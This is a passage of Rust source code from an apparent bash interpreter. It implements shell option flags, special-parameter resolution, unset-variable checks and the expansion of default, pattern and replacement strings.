if o.direxpand {\n        opts.push(\"direxpand\");\n    }\n    if o.dirspell {\n        opts.push(\"dirspell\");\n    }\n    if o.dotglob {\n        opts.push(\"dotglob\");\n    }\n    if o.execfail {\n        opts.push(\"execfail\");\n    }\n    if o.expand_aliases {\n        opts.push(\"expand_aliases\");\n    }\n    if o.extdebug {\n        opts.push(\"extdebug\");\n    }\n    if o.extglob {\n        opts.push(\"extglob\");\n    }\n    if o.extquote {\n        opts.push(\"extquote\");\n    }\n    if o.failglob {\n        opts.push(\"failglob\");\n    }\n    if o.force_fignore {\n        opts.push(\"force_fignore\");\n    }\n    if o.globasciiranges {\n        opts.push(\"globasciiranges\");\n    }\n    if o.globskipdots {\n        opts.push(\"globskipdots\");\n    }\n    if o.globstar {\n        opts.push(\"globstar\");\n    }\n    if o.gnu_errfmt {\n        opts.push(\"gnu_errfmt\");\n    }\n    if o.histappend {\n        opts.push(\"histappend\");\n    }\n    if o.histreedit {\n        opts.push(\"histreedit\");\n    }\n    if o.histverify {\n        opts.push(\"histverify\");\n    }\n    if o.hostcomplete {\n        opts.push(\"hostcomplete\");\n    }\n    if o.huponexit {\n        opts.push(\"huponexit\");\n    }\n    if o.inherit_errexit {\n        opts.push(\"inherit_errexit\");\n    }\n    if o.interactive_comments {\n        opts.push(\"interactive_comments\");\n    }\n    if o.lastpipe {\n        opts.push(\"lastpipe\");\n    }\n    if o.lithist {\n        opts.push(\"lithist\");\n    }\n    if o.localvar_inherit {\n        opts.push(\"localvar_inherit\");\n    }\n    if o.localvar_unset {\n        opts.push(\"localvar_unset\");\n    }\n    if o.login_shell {\n        opts.push(\"login_shell\");\n    }\n    if o.mailwarn {\n        opts.push(\"mailwarn\");\n    }\n    if o.no_empty_cmd_completion {\n        opts.push(\"no_empty_cmd_completion\");\n    }\n    if o.nocaseglob {\n        opts.push(\"nocaseglob\");\n    }\n    if o.nocasematch {\n        opts.push(\"nocasematch\");\n    }\n    if o.nullglob {\n        opts.push(\"nullglob\");\n    }\n    if o.patsub_replacement {\n        opts.push(\"patsub_replacement\");\n    }\n    if o.progcomp {\n        opts.push(\"progcomp\");\n    }\n    if o.progcomp_alias {\n        opts.push(\"progcomp_alias\");\n    }\n    if o.promptvars {\n        opts.push(\"promptvars\");\n    }\n    if o.shift_verbose {\n        opts.push(\"shift_verbose\");\n    }\n    if o.sourcepath {\n        opts.push(\"sourcepath\");\n    }\n    if o.varredir_close {\n        opts.push(\"varredir_close\");\n    }\n    if o.xpg_echo {\n        opts.push(\"xpg_echo\");\n    }\n    opts.join(\":\")\n}\n\n/// Resolve `FUNCNAME`, `BASH_SOURCE`, or `BASH_LINENO` as a scalar\n/// (returns value at index 0, i.e. current/innermost frame).\npub(crate) fn resolve_call_stack_scalar(name: &str, state: &InterpreterState) -> String {\n    // FUNCNAME is empty outside of functions (in_function_depth == 0).\n    if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n        return String::new();\n    }\n    if state.call_stack.is_empty() {\n        return String::new();\n    }\n    let frame = &state.call_stack[state.call_stack.len() - 1];\n    match name {\n        \"FUNCNAME\" => frame.func_name.clone(),\n        \"BASH_SOURCE\" => frame.source.clone(),\n        \"BASH_LINENO\" => frame.lineno.to_string(),\n        _ => String::new(),\n    }\n}\n\nfn resolve_special(sp: &SpecialParameter, state: &InterpreterState) -> String {\n    match sp {\n        SpecialParameter::LastExitStatus => state.last_exit_code.to_string(),\n        SpecialParameter::PositionalParameterCount => state.positional_params.len().to_string(),\n        SpecialParameter::AllPositionalParameters { concatenate } => {\n            if *concatenate {\n                // IFS unset → default space; IFS=\"\" → no separator.\n                let sep = match get_var(state, \"IFS\") {\n                    Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                    None => \" \".to_string(),\n                };\n                state.positional_params.join(&sep)\n            } else {\n                state.positional_params.join(\" \")\n            }\n        }\n        SpecialParameter::ProcessId => state.shell_pid.to_string(),\n        SpecialParameter::LastBackgroundProcessId => state\n            .last_background_pid\n            .map(|pid| pid.to_string())\n            .unwrap_or_default(),\n        SpecialParameter::ShellName => state.shell_name.clone(),\n        SpecialParameter::CurrentOptionFlags => {\n            let mut flags = String::from(\"h\");\n            if state.shell_opts.allexport {\n                flags.push('a');\n            }\n            if state.shell_opts.errexit {\n                flags.push('e');\n            }\n            if state.shell_opts.noglob {\n                flags.push('f');\n            }\n            if state.interactive_shell {\n                flags.push('i');\n            }\n            if state.shell_opts.noexec {\n                flags.push('n');\n            }\n            if state.shell_opts.nounset {\n                flags.push('u');\n            }\n            if state.shell_opts.verbose {\n                flags.push('v');\n            }\n            if state.shell_opts.xtrace {\n                flags.push('x');\n            }\n            flags.push('B');\n            if state.shell_opts.noclobber {\n                flags.push('C');\n            }\n            if state.invoked_with_c {\n                flags.push('c');\n            } else {\n                flags.push('s');\n            }\n            flags\n        }\n    }\n}\n\nfn get_var(state: &InterpreterState, name: &str) -> Option<String> {\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    // If the resolved name is an array subscript (e.g. from a nameref to \"a[2]\"),\n    // handle it as an array element lookup.\n    if let Some(bracket_pos) = resolved.find('[')\n        && resolved.ends_with(']')\n    {\n        let arr_name = &resolved[..bracket_pos];\n        let index_raw = &resolved[bracket_pos + 1..resolved.len() - 1];\n        // Expand simple $var references in the index.\n        let index = expand_simple_dollar_vars(index_raw, state);\n        return Some(resolve_array_element(arr_name, &index, state));\n    }\n    state\n        .env\n        .get(&resolved)\n        .map(|v| v.value.as_scalar().to_string())\n}\n\n/// Expand simple `$name` variable references in a string.\n/// Used for nameref targets like `A[$key]` where the index contains a variable.\nfn expand_simple_dollar_vars(s: &str, state: &InterpreterState) -> String {\n    if !s.contains('$') {\n        return s.to_string();\n    }\n    let mut result = String::new();\n    let chars: Vec<char> = s.chars().collect();\n    let mut i = 0;\n    while i < chars.len() {\n        if chars[i] == '$' && i + 1 < chars.len() {\n            i += 1;\n            let mut var_name = String::new();\n            while i < chars.len() && (chars[i].is_ascii_alphanumeric() || chars[i] == '_') {\n                var_name.push(chars[i]);\n                i += 1;\n            }\n            if !var_name.is_empty() {\n                let resolved_var = crate::interpreter::resolve_nameref_or_self(&var_name, state);\n                let val = state\n                    .env\n                    .get(&resolved_var)\n                    .map(|v| v.value.as_scalar().to_string())\n                    .unwrap_or_default();\n                result.push_str(&val);\n            } else {\n                result.push('$');\n            }\n        } else {\n            result.push(chars[i]);\n            i += 1;\n        }\n    }\n    result\n}\n\nfn vectorized_parameter_words(\n    parameter: &Parameter,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Option<Vec<String>> {\n    let (values, concatenate) = get_vectorized_values(parameter, state, false)?;\n    if values.is_empty() {\n        return Some(Vec::new());\n    }\n    if !concatenate {\n        return Some(values);\n    }\n\n    let ifs_val = get_var(state, \"IFS\");\n    let ifs_empty = matches!(&ifs_val, Some(s) if s.is_empty());\n    if !in_dq && ifs_empty {\n        return Some(values);\n    }\n\n    let sep = match ifs_val {\n        Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n        None => \" \".to_string(),\n    };\n    Some(vec![values.join(&sep)])\n}\n\nfn should_use_default_for_words(test_type: &ParameterTestType, words: &[String]) -> bool {\n    match test_type {\n        ParameterTestType::Unset => words.is_empty(),\n        ParameterTestType::UnsetOrNull => {\n            words.is_empty() || (words.len() == 1 && words[0].is_empty())\n        }\n    }\n}\n\nfn should_use_default_for_indirect_words(\n    target: &Parameter,\n    test_type: &ParameterTestType,\n    words: &[String],\n) -> bool {\n    if matches!(target, Parameter::NamedWithAllIndices { .. }) {\n        return words.is_empty();\n    }\n    should_use_default_for_words(test_type, words)\n}\n\nfn parse_indirect_target_parameter(target: &str) -> Option<Parameter> {\n    if target.is_empty() {\n        return None;\n    }\n\n    if let Some((name, raw_index)) = target\n        .strip_suffix(']')\n        .and_then(|prefix| prefix.split_once('['))\n    {\n        if raw_index == \"@\" || raw_index == \"*\" {\n            return Some(Parameter::NamedWithAllIndices {\n                name: name.to_string(),\n                concatenate: raw_index == \"*\",\n            });\n        }\n        return Some(Parameter::NamedWithIndex {\n            name: name.to_string(),\n            index: raw_index.to_string(),\n        });\n    }\n\n    if let Ok(n) = target.parse::<u32>() {\n        return Some(Parameter::Positional(n));\n    }\n\n    match target {\n        \"@\" => Some(Parameter::Special(\n            SpecialParameter::AllPositionalParameters { concatenate: false },\n        )),\n        \"*\" => Some(Parameter::Special(\n            SpecialParameter::AllPositionalParameters { concatenate: true },\n        )),\n        \"#\" => Some(Parameter::Special(\n            SpecialParameter::PositionalParameterCount,\n        )),\n        \"?\" => Some(Parameter::Special(SpecialParameter::LastExitStatus)),\n        \"-\" => Some(Parameter::Special(SpecialParameter::CurrentOptionFlags)),\n        \"$\" => Some(Parameter::Special(SpecialParameter::ProcessId)),\n        \"!\" => Some(Parameter::Special(\n            SpecialParameter::LastBackgroundProcessId,\n        )),\n        \"0\" => Some(Parameter::Special(SpecialParameter::ShellName)),\n        _ => Some(Parameter::Named(target.to_string())),\n    }\n}\n\nfn should_use_default_for_parameter(\n    parameter: &Parameter,\n    indirect: bool,\n    val: &str,\n    test_type: &ParameterTestType,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> bool {\n    if indirect {\n        let target_name = resolve_parameter(parameter, state, false);\n        if let Some(target_param) = parse_indirect_target_parameter(&target_name) {\n            if let Some(words) = vectorized_parameter_words(&target_param, state, in_dq) {\n                return should_use_default_for_indirect_words(&target_param, test_type, &words);\n            }\n            return should_use_default(val, test_type, state, &target_param);\n        }\n        return true;\n    }\n\n    if let Some(words) = vectorized_parameter_words(parameter, state, in_dq) {\n        should_use_default_for_words(test_type, &words)\n    } else {\n        should_use_default(val, test_type, state, parameter)\n    }\n}\n\nfn should_use_default_for_parameter_mut(\n    parameter: &Parameter,\n    indirect: bool,\n    val: &str,\n    test_type: &ParameterTestType,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    if indirect {\n        let target_name = resolve_parameter_maybe_mut(parameter, state, false)?;\n        if let Some(target_param) = parse_indirect_target_parameter(&target_name) {\n            if let Some(words) = vectorized_parameter_words(&target_param, state, in_dq) {\n                return Ok(should_use_default_for_indirect_words(\n                    &target_param,\n                    test_type,\n                    &words,\n                ));\n            }\n            return Ok(should_use_default(val, test_type, state, &target_param));\n        }\n        return Ok(true);\n    }\n\n    if let Some(words) = vectorized_parameter_words(parameter, state, in_dq) {\n        Ok(should_use_default_for_words(test_type, &words))\n    } else {\n        Ok(should_use_default(val, test_type, state, parameter))\n    }\n}\n\nfn push_expanded_parameter_value(\n    parameter: &Parameter,\n    indirect: bool,\n    val: &str,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) {\n    if !indirect && let Some((values, concatenate)) = get_vectorized_values(parameter, state, false)\n    {\n        push_vectorized(values, concatenate, words, state, in_dq);\n    } else {\n        push_segment(words, val, in_dq, in_dq);\n    }\n}\n\nfn resolve_array_assignment_index(\n    name: &str,\n    index_expr: &str,\n    state: &mut InterpreterState,\n) -> Result<usize, RustBashError> {\n    let expanded = expand_arith_expression(index_expr, state)?;\n    let idx = crate::interpreter::arithmetic::eval_arithmetic(&expanded, state)?;\n    if idx >= 0 {\n        return Ok(idx as usize);\n    }\n\n    let resolved_name = crate::interpreter::resolve_nameref_or_self(name, state);\n    let max_key = state.env.get(&resolved_name).and_then(|v| match &v.value {\n        crate::interpreter::VariableValue::IndexedArray(map) => map.keys().next_back().copied(),\n        crate::interpreter::VariableValue::Scalar(_) => Some(0),\n        _ => None,\n    });\n\n    match max_key {\n        Some(mk) => {\n            let resolved = mk as i64 + 1 + idx;\n            if resolved < 0 {\n                Err(RustBashError::Execution(format!(\n                    \"{name}: bad array subscript\"\n                )))\n            } else {\n                Ok(resolved as usize)\n            }\n        }\n        None => Err(RustBashError::Execution(format!(\n            \"{name}: bad array subscript\"\n        ))),\n    }\n}\n\nfn assign_default_to_parameter(\n    parameter: &Parameter,\n    indirect: bool,\n    value: &str,\n    state: &mut InterpreterState,\n) -> Result<(), RustBashError> {\n    if indirect {\n        let target_name = resolve_parameter_maybe_mut(parameter, state, false)?;\n        if !target_name.is_empty() {\n            set_variable(state, &target_name, value.to_string())?;\n        }\n        return Ok(());\n    }\n\n    match parameter {\n        Parameter::Named(name) => set_variable(state, name, value.to_string())?,\n        Parameter::NamedWithIndex { name, index } => {\n            let resolved_name = crate::interpreter::resolve_nameref_or_self(name, state);\n            let is_assoc = state.env.get(&resolved_name).is_some_and(|var| {\n                matches!(\n                    var.value,\n                    crate::interpreter::VariableValue::AssociativeArray(_)\n                )\n            });\n            if is_assoc {\n                let key = strip_quotes(&expand_arith_expression(index, state)?);\n                set_assoc_element(state, &resolved_name, key, value.to_string())?;\n            } else {\n                let idx = resolve_array_assignment_index(&resolved_name, index, state)?;\n                crate::interpreter::set_array_element(\n                    state,\n                    &resolved_name,\n                    idx,\n                    value.to_string(),\n                )?;\n            }\n        }\n        _ => {}\n    }\n    Ok(())\n}\n\nfn should_use_default(\n    val: &str,\n    test_type: &ParameterTestType,\n    state: &InterpreterState,\n    parameter: &Parameter,\n) -> bool {\n    match test_type {\n        ParameterTestType::UnsetOrNull => val.is_empty() || is_unset(state, parameter),\n        ParameterTestType::Unset => is_unset(state, parameter),\n    }\n}\n\n/// Names that are always \"set\" because they are dynamically computed.\nfn is_dynamic_special(name: &str) -> bool {\n    matches!(\n        name,\n        \"LINENO\"\n            | \"SECONDS\"\n            | \"_\"\n            | \"PPID\"\n            | \"UID\"\n            | \"EUID\"\n            | \"BASHPID\"\n            | \"SHELLOPTS\"\n            | \"BASHOPTS\"\n            | \"MACHTYPE\"\n            | \"HOSTTYPE\"\n            | \"FUNCNAME\"\n            | \"BASH_SOURCE\"\n            | \"BASH_LINENO\"\n    )\n}\n\nfn is_unset(state: &InterpreterState, parameter: &Parameter) -> bool {\n    match parameter {\n        Parameter::Named(name) => {\n            // FUNCNAME is unset when not inside a function.\n            if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n                return true;\n            }\n            if is_dynamic_special(name) {\n                return false;\n            }\n            let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n            match state.env.get(&resolved) {\n                None => true,\n                Some(var) => {\n                    // Variables with DECLARED_ONLY (e.g. `local x`) are unset\n                    if var\n                        .attrs\n                        .contains(crate::interpreter::VariableAttrs::DECLARED_ONLY)\n                    {\n                        return true;\n                    }\n                    // For indexed arrays, $name is equivalent to ${name[0]},\n                    // so it's \"unset\" if index 0 is not present.\n                    use crate::interpreter::VariableValue;\n                    match &var.value {\n                        VariableValue::IndexedArray(map) => !map.contains_key(&0),\n                        VariableValue::AssociativeArray(_) => false,\n                        _ => false,\n                    }\n                }\n            }\n        }\n        Parameter::Positional(n) => {\n            if *n == 0 {\n                false\n            } else {\n                state.positional_params.get(*n as usize - 1).is_none()\n            }\n        }\n        Parameter::Special(_) => false,\n        Parameter::NamedWithIndex { name, index } => {\n            if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n                return true;\n            }\n            if is_dynamic_special(name) {\n                return false;\n            }\n            let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n            match state.env.get(&resolved) {\n                None => true,\n                Some(var) => {\n                    use crate::interpreter::VariableValue;\n                    match &var.value {\n                        VariableValue::IndexedArray(map) => {\n                            let expanded_index = expand_simple_dollar_vars(index, state);\n                            let idx = simple_arith_eval(&expanded_index, state);\n                            let actual_idx = if idx < 0 {\n                                let max_key = map.keys().next_back().copied().unwrap_or(0);\n                                let resolved_idx = max_key as i64 + 1 + idx;\n                                if resolved_idx < 0 {\n                                    return true;\n                                }\n                                resolved_idx as usize\n                            } else {\n                                idx as usize\n                            };\n                            !map.contains_key(&actual_idx)\n                        }\n                        VariableValue::AssociativeArray(map) => {\n                            let key = expand_simple_dollar_vars(index, state);\n                            !map.contains_key(key.as_str())\n                        }\n                        VariableValue::Scalar(_) => {\n                            let expanded_index = expand_simple_dollar_vars(index, state);\n                            let idx = simple_arith_eval(&expanded_index, state);\n                            idx != 0 && idx != -1\n                        }\n                    }\n                }\n            }\n        }\n        Parameter::NamedWithAllIndices { name, .. } => {\n            if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n                return true;\n            }\n            if is_dynamic_special(name) {\n                return false;\n            }\n            let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n            !state.env.contains_key(&resolved)\n        }\n    }\n}\n\nfn parameter_variable_exists(\n    parameter: &Parameter,\n    indirect: bool,\n    state: &InterpreterState,\n) -> bool {\n    if indirect {\n        let target = resolve_parameter(parameter, state, false);\n        if let Some(target_param) = parse_indirect_target_parameter(&target) {\n            return parameter_variable_exists(&target_param, false, state);\n        }\n        return false;\n    }\n\n    match parameter {\n        Parameter::Named(name)\n        | Parameter::NamedWithIndex { name, .. }\n        | Parameter::NamedWithAllIndices { name, .. } => {\n            let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n            state.env.contains_key(&resolved)\n        }\n        Parameter::Positional(n) => {\n            if *n == 0 {\n                true\n            } else {\n                state.positional_params.get(*n as usize - 1).is_some()\n            }\n        }\n        Parameter::Special(_) => true,\n    }\n}\n\nfn parameter_is_associative_array(\n    parameter: &Parameter,\n    indirect: bool,\n    state: &InterpreterState,\n) -> bool {\n    if indirect {\n        let target = resolve_parameter(parameter, state, false);\n        if let Some(target_param) = parse_indirect_target_parameter(&target) {\n            return parameter_is_associative_array(&target_param, false, state);\n        }\n        return false;\n    }\n\n    match parameter {\n        Parameter::Named(name)\n        | Parameter::NamedWithIndex { name, .. }\n        | Parameter::NamedWithAllIndices { name, .. } => {\n            let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n            state.env.get(&resolved).is_some_and(|var| {\n                matches!(\n                    var.value,\n                    crate::interpreter::VariableValue::AssociativeArray(_)\n                )\n            })\n        }\n        _ => false,\n    }\n}\n\nfn parameter_scalar_is_unset(\n    parameter: &Parameter,\n    indirect: bool,\n    state: &InterpreterState,\n) -> bool {\n    if indirect {\n        let target = resolve_parameter(parameter, state, false);\n        if let Some(target_param) = parse_indirect_target_parameter(&target) {\n            return parameter_scalar_is_unset(&target_param, false, state);\n        }\n        return true;\n    }\n    if let Parameter::Named(name) = parameter {\n        if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n            return true;\n        }\n        if is_dynamic_special(name) {\n            return false;\n        }\n        let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n        if let Some(var) = state.env.get(&resolved) {\n            if var\n                .attrs\n                .contains(crate::interpreter::VariableAttrs::DECLARED_ONLY)\n            {\n                return true;\n            }\n            if let crate::interpreter::VariableValue::AssociativeArray(map) = &var.value {\n                return !map.contains_key(\"0\");\n            }\n        }\n    }\n    is_unset(state, parameter)\n}\n\nfn parameter_name(parameter: &Parameter) -> String {\n    match parameter {\n        Parameter::Named(name) => name.clone(),\n        Parameter::Positional(n) => n.to_string(),\n        Parameter::Special(sp) => match sp {\n            SpecialParameter::LastExitStatus => \"?\".to_string(),\n            SpecialParameter::PositionalParameterCount => \"#\".to_string(),\n            SpecialParameter::AllPositionalParameters { concatenate } => {\n                if *concatenate {\n                    \"*\".to_string()\n                } else {\n                    \"@\".to_string()\n                }\n            }\n            SpecialParameter::ProcessId => \"$\".to_string(),\n            SpecialParameter::LastBackgroundProcessId => \"!\".to_string(),\n            SpecialParameter::ShellName => \"0\".to_string(),\n            SpecialParameter::CurrentOptionFlags => \"-\".to_string(),\n        },\n        Parameter::NamedWithIndex { name, index } => format!(\"{name}[{index}]\"),\n        Parameter::NamedWithAllIndices { name, .. } => name.clone(),\n    }\n}\n\nfn transform_target_name(\n    parameter: &Parameter,\n    indirect: bool,\n    state: &InterpreterState,\n) -> Option<String> {\n    if indirect {\n        let target = resolve_parameter(parameter, state, false);\n        return transform_target_name_from_str(&target);\n    }\n\n    match parameter {\n        Parameter::Named(name)\n        | Parameter::NamedWithIndex { name, .. }\n        | Parameter::NamedWithAllIndices { name, .. } => Some(name.clone()),\n        _ => None,\n    }\n}\n\nfn transform_target_name_from_str(target: &str) -> Option<String> {\n    if target.is_empty() {\n        return None;\n    }\n    if let Some((name, _)) = target\n        .strip_suffix(']')\n        .and_then(|prefix| prefix.split_once('['))\n    {\n        return Some(name.to_string());\n    }\n    if target\n        .chars()\n        .all(|c| c.is_ascii_alphanumeric() || c == '_')\n        && !target.starts_with(|c: char| c.is_ascii_digit())\n    {\n        Some(target.to_string())\n    } else {\n        None\n    }\n}\n\n/// Parse a simple integer from an arithmetic expression string.\nfn parse_arithmetic_value(expr: &str) -> i64 {\n    let trimmed = expr.trim();\n    trimmed.parse::<i64>().unwrap_or(0)\n}\n\n// ── Raw string expansion (for default/alternative values) ───────────\n\nfn expand_raw_string_ctx(\n    raw: &str,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Result<String, RustBashError> {\n    let options = parser_options();\n    let pieces = brush_parser::word::parse(raw, &options)\n        .map_err(|e| RustBashError::Parse(e.to_string()))?;\n\n    let mut words: Vec<WordInProgress> = vec![Vec::new()];\n    for piece_ws in &pieces {\n        expand_raw_piece(&piece_ws.piece, &mut words, state, in_dq)?;\n    }\n    let result = finalize_no_split(words);\n    Ok(result.join(\" \"))\n}\n\nfn expand_raw_string_mut_ctx(\n    raw: &str,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<String, RustBashError> {\n    let options = parser_options();\n    let pieces = brush_parser::word::parse(raw, &options)\n        .map_err(|e| RustBashError::Parse(e.to_string()))?;\n\n    let mut words: Vec<WordInProgress> = vec![Vec::new()];\n    for piece_ws in &pieces {\n        expand_raw_piece_mut(&piece_ws.piece, &mut words, state, in_dq)?;\n    }\n    let result = finalize_no_split(words);\n    Ok(result.join(\" \"))\n}\n\n/// Expand a word piece from a parameter expansion operand.\n/// When `in_dq` is true, single quotes are literal characters (not quote\n/// delimiters), matching bash behavior for e.g. `\"${var:-'hello'}\"`.\nfn expand_raw_piece(\n    piece: &WordPiece,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    if in_dq && let WordPiece::SingleQuotedText(s) = piece {\n        // Inside DQ context, single quotes are literal characters.\n        push_segment(words, &format!(\"'{s}'\"), true, true);\n        return Ok(false);\n    }\n    expand_word_piece(piece, words, state, in_dq)\n}\n\n/// Mutable variant of `expand_raw_piece`.\nfn expand_raw_piece_mut(\n    piece: &WordPiece,\n    words: &mut Vec<WordInProgress>,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    if in_dq && let WordPiece::SingleQuotedText(s) = piece {\n        push_segment(words, &format!(\"'{s}'\"), true, true);\n        return Ok(false);\n    }\n    expand_word_piece_mut(piece, words, state, in_dq)\n}\n\n/// Expand a parameter expansion operand (default value, alternative value)\n/// directly into the word list, preserving inner quoting for proper IFS splitting.\n///\n/// Unlike `expand_raw_string_ctx` which collapses to a single string, this\n/// preserves the quoting structure of inner quoted segments so that IFS splitting\n/// correctly separates words: `${Unset:-\"a b\" c}` → `[\"a b\", \"c\"]`.\nfn expand_raw_into_words(\n    raw: &str,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Result<(), RustBashError> {\n    let options = parser_options();\n    let pieces = brush_parser::word::parse(raw, &options)\n        .map_err(|e| RustBashError::Parse(e.to_string()))?;\n    for piece_ws in &pieces {\n        expand_default_piece(&piece_ws.piece, words, state, in_dq)?;\n    }\n    Ok(())\n}\n\nfn expand_raw_into_words_mut(\n    raw: &str,\n    words: &mut Vec<WordInProgress>,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<(), RustBashError> {\n    let options = parser_options();\n    let pieces = brush_parser::word::parse(raw, &options)\n        .map_err(|e| RustBashError::Parse(e.to_string()))?;\n    for piece_ws in &pieces {\n        expand_default_piece_mut(&piece_ws.piece, words, state, in_dq)?;\n    }\n    Ok(())\n}\n\n/// Expand a word piece in default/alternative value context.\n///\n/// When not in double-quote context, literal `Text` pieces are pushed as\n/// unquoted (subject to IFS splitting), matching bash behavior where\n/// `${Unset:-a b}` word-splits like a bare `a b`.\n///\n/// When in DQ context, single-quoted text has its single quotes treated as\n/// literal characters with the content undergoing parameter expansion,\n/// matching bash behavior where `\"${Unset:-'$var'}\"` expands `$var`.\nfn expand_default_piece(\n    piece: &WordPiece,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    if in_dq {\n        if let WordPiece::SingleQuotedText(s) = piece {\n            // Inside DQ, single quotes are literal characters.\n            // The content undergoes parameter expansion.\n            push_segment(words, \"'\", true, true);\n            let options = parser_options();\n            if let Ok(inner_pieces) = brush_parser::word::parse(s, &options) {\n                for inner in &inner_pieces {\n                    expand_word_piece(&inner.piece, words, state, true)?;\n                }\n            } else {\n                push_segment(words, s, true, true);\n            }\n            push_segment(words, \"'\", true, true);\n            return Ok(false);\n        }\n        // Inside parameter expansion, \\} was used to escape the closing brace.\n        // After parsing, quote removal should strip the backslash.\n        if let WordPiece::EscapeSequence(s) = piece\n            && let Some(c) = s.strip_prefix('\\\\')\n            && c == \"}\"\n        {\n            push_segment(words, c, true, true);\n            return Ok(false);\n        }\n        return expand_word_piece(piece, words, state, true);\n    }\n    // Outside DQ: literal text is unquoted (subject to IFS splitting)\n    if let WordPiece::Text(s) = piece {\n        push_segment(words, s, false, false);\n        return Ok(false);\n    }\n    expand_word_piece(piece, words, state, false)\n}\n\nfn expand_default_piece_mut(\n    piece: &WordPiece,\n    words: &mut Vec<WordInProgress>,\n    state: &mut InterpreterState,\n    in_dq: bool,\n) -> Result<bool, RustBashError> {\n    if in_dq {\n        if let WordPiece::SingleQuotedText(s) = piece {\n            push_segment(words, \"'\", true, true);\n            let options = parser_options();\n            if let Ok(inner_pieces) = brush_parser::word::parse(s, &options) {\n                for inner in &inner_pieces {\n                    expand_word_piece_mut(&inner.piece, words, state, true)?;\n                }\n            } else {\n                push_segment(words, s, true, true);\n            }\n            push_segment(words, \"'\", true, true);\n            return Ok(false);\n        }\n        if let WordPiece::EscapeSequence(s) = piece\n            && let Some(c) = s.strip_prefix('\\\\')\n            && c == \"}\"\n        {\n            push_segment(words, c, true, true);\n            return Ok(false);\n        }\n        return expand_word_piece_mut(piece, words, state, true);\n    }\n    if let WordPiece::Text(s) = piece {\n        push_segment(words, s, false, false);\n        return Ok(false);\n    }\n    expand_word_piece_mut(piece, words, state, false)\n}\n\n/// Expand a pattern string from a strip/replace operator, processing quotes.\n///\n/// Single quotes, double quotes, and ANSI-C quotes within patterns are\n/// always respected as quoting delimiters (even inside double-quoted\n/// `\"${var%'pattern'}\"`), and quote removal is performed on the result.\n/// Characters from inside quotes that are pattern-special (`?`, `*`, `[`, `]`)\n/// are backslash-escaped so the pattern matcher treats them as literal.\n/// Backslash escapes outside quotes are preserved for the pattern matcher.\npub(crate) fn expand_pattern_string(\n    pat: &str,\n    state: &InterpreterState,\n) -> Result<String, RustBashError> {\n    let word = ast::Word {\n        value: pat.to_string(),\n        loc: None,\n    };\n    let words = expand_word_segments(&word, state)?;\n    Ok(finalize_no_split_pattern(words).join(\" \"))\n}\n\npub(crate) fn expand_pattern_word_mut(\n    word: &ast::Word,\n    state: &mut InterpreterState,\n) -> Result<String, RustBashError> {\n    let words = expand_word_segments_mut(word, state)?;\n    Ok(finalize_no_split_pattern(words).join(\" \"))\n}\n\n/// Expand a replacement string from a `${var//pattern/replacement}` operator.\n///\n/// Quote removal is performed but glob characters are NOT escaped,\n/// since the replacement is not used as a pattern.\nfn expand_replacement_string(\n    repl: &str,\n    state: &InterpreterState,\n) -> Result<String, RustBashError> {\n    let mut result = String::new();\n    let mut chars = repl.chars().peekable();\n\n    // Tilde expansion at the start of the replacement string (bash feature)\n    if chars.peek() == Some(&'~') {\n        chars.next(); // consume '~'\n        let mut user = String::new();\n        while let Some(&ch) = chars.peek() {\n            if ch == '/' || ch == ':' {\n                break;\n            }\n            user.push(ch);\n            chars.next();\n        }\n        let expanded = if user.is_empty() {\n            get_var(state, \"HOME\")\n        } else if user == \"+\" {\n            get_var(state, \"PWD\")\n        } else if user == \"-\" {\n            get_var(state, \"OLDPWD\")\n        } else if user == \"root\" {\n            Some(\"/root\".to_string())\n        } else {\n            None\n        };\n        if let Some(home) = expanded {\n            result.push_str(&home);\n        } else {\n            result.push('~');\n            result.push_str(&user);\n        }\n    }\n\n    while let Some(c) = chars.next() {\n        match c {\n            '\\\\' => {\n                if let Some(&next) = chars.peek()\n                    && matches!(next, '/' | '\\\\')\n                {\n                    result.push(next);\n                    chars.next();\n                } else {\n                    result.push('\\\\');\n                }\n            }\n            '\\'' => {\n                for ch in chars.by_ref() {\n                    if ch == '\\'' {\n                        break;\n                    }\n                    result.push(ch);\n                }\n            }\n            '$' if chars.peek() == Some(&'\\'') => {\n                chars.next();\n                while let Some(ch) = chars.next() {\n                    if ch == '\\'' {\n                        break;\n                    }\n                    if ch == '\\\\' {\n                        if let Some(esc) = chars.next() {\n                            match esc {\n                                'n' => result.push('\\n'),\n                                't' => result.push('\\t'),\n                                'r' => result.push('\\r'),\n                                '\\\\' => result.push('\\\\'),\n                                '\\'' => result.push('\\''),\n                                'a' => result.push('\\x07'),\n                                'b' => result.push('\\x08'),\n                                'e' | 'E' => result.push('\\x1b'),\n                                'f' => result.push('\\x0c'),\n                                'v' => result.push('\\x0b'),\n                                _ => {\n                                    result.push('\\\\');\n                                    result.push(esc);\n                                }\n                            }\n                        }\n                    } else {\n                        result.push(ch);\n                    }\n                }\n            }\n            '\"' => {\n                let mut inner = String::new();\n                while let Some(ch) = chars.next() {\n                    